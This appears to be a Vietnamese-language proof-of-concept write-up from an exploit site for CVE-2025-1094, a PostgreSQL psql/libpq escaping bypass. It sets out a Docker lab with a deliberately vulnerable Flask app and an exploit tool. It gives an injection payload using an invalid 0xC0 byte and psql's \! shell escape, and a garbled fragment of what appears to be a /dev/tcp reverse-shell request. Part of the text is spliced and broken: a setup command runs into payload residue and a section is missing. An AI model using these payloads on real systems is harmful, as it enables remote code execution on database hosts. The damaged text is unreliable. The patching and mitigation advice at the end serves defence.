## https://sploitus.com/exploit?id=FC1D41BA-69D2-5303-B8A5-BD03641263C8
---
POC Khai thác lỗ hổng CVE-2025-1094: PostgreSQL psql SQL Injection
1. Giới thiệu lỗ hổng
CVE-2025-1094 là một lỗ hổng nghiêm trọng nằm trong thư viện client libpq và công cụ dòng lệnh psql của PostgreSQL. Lỗ hổng này cho phép kẻ tấn công thực
hiện SQL Injection và nâng cấp lên Thực thi mã từ xa (RCE) ngay cả khi ứng dụng đã sử dụng các hàm thoát chuỗi chuẩn như PQescapeLiteral.
Nguyên nhân gốc rễ:
Lỗi phát sinh từ sự không đồng nhất trong việc xử lý các chuỗi byte đa byte (multibyte) không hợp lệ (như UTF-8) giữa thư viện thoát chuỗi và bộ phân tích
cú pháp của psql.
- Bypass Escaping: Hàm PQescapeLiteral bị đánh lừa bởi một "byte mồi" (ví dụ 0xC0). Nó coi byte này và dấu nháy đơn (') đi kèm là một ký tự duy nhất, dẫn
đến việc không escape dấu nháy đơn đó.
- RCE thông qua Meta-commands: Khi chuỗi bị lỗi này được đưa vào công cụ psql, kẻ tấn công có thể thoát khỏi câu lệnh SQL và sử dụng lệnh hệ thống \! của
psql để chạy mã shell trên máy chủ.
---
2. Cấu trúc thư mục dự án
Dự án được tổ chức để mô phỏng một môi trường thực tế:
1 cve-2025-1094-demo/
2 ├── docker-compose.yml # Quản lý toàn bộ hạ tầng (Web App & Database)
3 ├── app/
4 │ ├── app.py # Ứng dụng Flask (Nạn nhân) - Gọi trực tiếp hàm C libpq
5 │ ├── Dockerfile # Build môi trường chứa thư viện PostgreSQL 16.6 (lỗi)
6 │ └── init_db.sql # Script khởi tạo dữ liệu mẫu cho Database
7 └── exolit.py # Công cụ khai thác tự động (Hacker Tool)
Chi tiết các thành phần:
* PostgreSQL 16.6: Phiên bản chưa được vá lỗi, chứa thư viện libpq.so.5 có lỗ hổng.
* Flask Web App: Mô phỏng một hệ thống quản lý nhân viên. Điểm mấu chốt là sử dụng ctypes để gọi trực tiếp hàm C nhằm minh họa lỗ hổng ở tầng thấp nhất.
* Subprocess Pipe: Ứng dụng đẩy câu lệnh SQL vào psql thông qua đường ống (stdin), tạo điều kiện cho các meta-command hoạt động.
---
3. Phân tích Payload tấn công
Payload sử dụng trong dự án: hax\xc0'; \! id; #
Giải mã từng thành phần:
1. hax: Dữ liệu mồi bình thường.
2. \xc0 (0xC0): Byte lỗi trong UTF-8. Nó đánh lừa hàm PQescapeLiteral rằng byte tiếp theo thuộc về nó.
3. ' (0x27): Dấu nháy đơn "tàng hình". Nó lọt qua bộ lọc mà không bị biến thành ''. Khi đến psql, nó đóng chuỗi SQL sớm.
4. ;: Kết thúc câu lệnh SQL hiện tại.
5. \!: Lệnh đặc biệt của psql để thoát ra Shell hệ điều hành.
6. id: Lệnh hệ thống cần thực thi (có thể thay bằng Reverse Shell).
7. #: Dấu chú thích trong SQL, vô hiệu hóa phần dư thừa còn lại của câu lệnh gốc để tránh lỗi cú pháp.
---
4. Hướng dẫn dựng môi trường Demo
Yêu cầu hệ thống:
* Docker & Docker Compose
* Python 3 & thư viện requests
Các bước thực hiện:
1. Khởi động hệ thống:
1 docker-compose up --build
2. Khởi tạo Database (Chỉ làm lần đầu):
1 docker exec -i $(docker ps -qf "name=db") psql -U postgres company_db %26+/dev/tcp//+0>%261"+;+%23
---
6. Cách khắc phục và Phòng chống
1. Cập nhật bản vá: Nâng cấp PostgreSQL lên các phiên bản đã được vá lỗi: 17.3, 16.7, 15.11, 14.16, 13.19.
2. Kiểm tra Encoding: Luôn xác thực dữ liệu đầu vào có phải là UTF-8 hợp lệ hay không trước khi xử lý.
3. Hạn chế sử dụng psql CLI: Trong lập trình ứng dụng, hãy sử dụng các thư viện Driver chính thức (như psycopg2, pgx) và cơ chế Parameterized Queries
thay vì xây dựng câu lệnh SQL bằng cách ghép chuỗi và đẩy vào công cụ dòng lệnh.
4. Nguyên tắc đặc quyền tối thiểu: Không chạy Web App hoặc Database dưới quyền root.
---# P O C - C V E - 2 0 2 5 - 1 0 9 4